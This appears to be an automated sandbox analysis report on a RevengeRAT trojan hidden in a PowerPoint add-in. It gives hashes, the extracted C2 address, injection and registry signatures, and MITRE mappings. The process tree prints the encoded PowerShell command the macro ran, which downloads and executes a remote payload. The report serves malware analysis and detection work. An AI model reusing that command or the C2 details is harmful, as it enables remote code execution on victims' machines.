revengerat | 52a898f9c3174c252ef1745e353a49aa898fe99122720bf33126644c319c8df4

General

Target

2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5.ppam
Size

19KB
MD5

f2c6f5b43d73d91bb9eb0de2812ff7cb
SHA1

d4dbf0af4bfbd0f6ce0aadb9dcbbc30cebf36aad
SHA256

2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5
SHA512

bd2abddb6f66c5f104925d48d6499ed336e52b43829ee42595f00382c69dccb4398822c8df565c31a44ea9fe12dc4fc31c953652a4698bdf6fbfa96df304a82a
SSDEEP

384:dXPWGaYOMHEG4upmXuB44OPJ8GfkXjedXRMx+CI/tQiZlyszuCqo9NRrccG:VPWGNO7kpme64C21Xjc2xXI/XTys6ARk

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3964	1964	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

44 3964 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3964 set thread context of 4060 3964 powershell.exe RegSvcs.exe

flow	pid	process
44	3964	powershell.exe

description	pid	process	target process
PID 3964 set thread context of 4060	3964	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXERegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

1964 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3964 powershell.exe
3964 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3964 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

1964 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

1964 POWERPNT.EXE
1964 POWERPNT.EXE
1964 POWERPNT.EXE

pid	process
1964	POWERPNT.EXE

pid	process
3964	powershell.exe
3964	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3964	powershell.exe

pid	process
1964	POWERPNT.EXE

pid	process
1964	POWERPNT.EXE
1964	POWERPNT.EXE
1964	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 1964 wrote to memory of 3964	1964	POWERPNT.EXE	powershell.exe
PID 1964 wrote to memory of 3964	1964	POWERPNT.EXE	powershell.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe
PID 3964 wrote to memory of 4060	3964	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\2fe97c1cb597d1812cfefe11ce2327da3d18e3cc16bacf38512db1cbd53570d5.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3964
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Checks processor information in registry
    PID:4060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ltystqf1.ytc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1964-202-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-204-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-205-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-137-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-135-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-139-0x00007FF88C790000-0x00007FF88C7A0000-memory.dmp

Filesize
64KB

Download
memory/1964-134-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-203-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-133-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/1964-138-0x00007FF88C790000-0x00007FF88C7A0000-memory.dmp

Filesize
64KB

Download
memory/1964-136-0x00007FF88ECB0000-0x00007FF88ECC0000-memory.dmp

Filesize
64KB

Download
memory/3964-190-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/3964-186-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/3964-170-0x000001B2637D0000-0x000001B2637F2000-memory.dmp

Filesize
136KB

Download
memory/3964-179-0x000001B27BA50000-0x000001B27BA60000-memory.dmp

Filesize
64KB

Download
memory/3964-180-0x000001B27BA50000-0x000001B27BA60000-memory.dmp

Filesize
64KB

Download
memory/3964-185-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/3964-196-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/3964-188-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/3964-194-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/3964-200-0x000001B27B980000-0x000001B27B981000-memory.dmp

Filesize
4KB

Download
memory/3964-181-0x000001B27BA50000-0x000001B27BA60000-memory.dmp

Filesize
64KB

Download
memory/3964-192-0x000001B27B960000-0x000001B27B978000-memory.dmp

Filesize
96KB

Download
memory/4060-201-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/4060-208-0x0000000005C00000-0x00000000061A4000-memory.dmp

Filesize
5.6MB

Download
memory/4060-209-0x0000000005A30000-0x0000000005ACC000-memory.dmp

Filesize
624KB

Download
memory/4060-211-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Filesize
408KB

Download
memory/4060-210-0x0000000005620000-0x0000000005630000-memory.dmp

Filesize
64KB

Download
memory/4060-212-0x0000000005620000-0x0000000005630000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads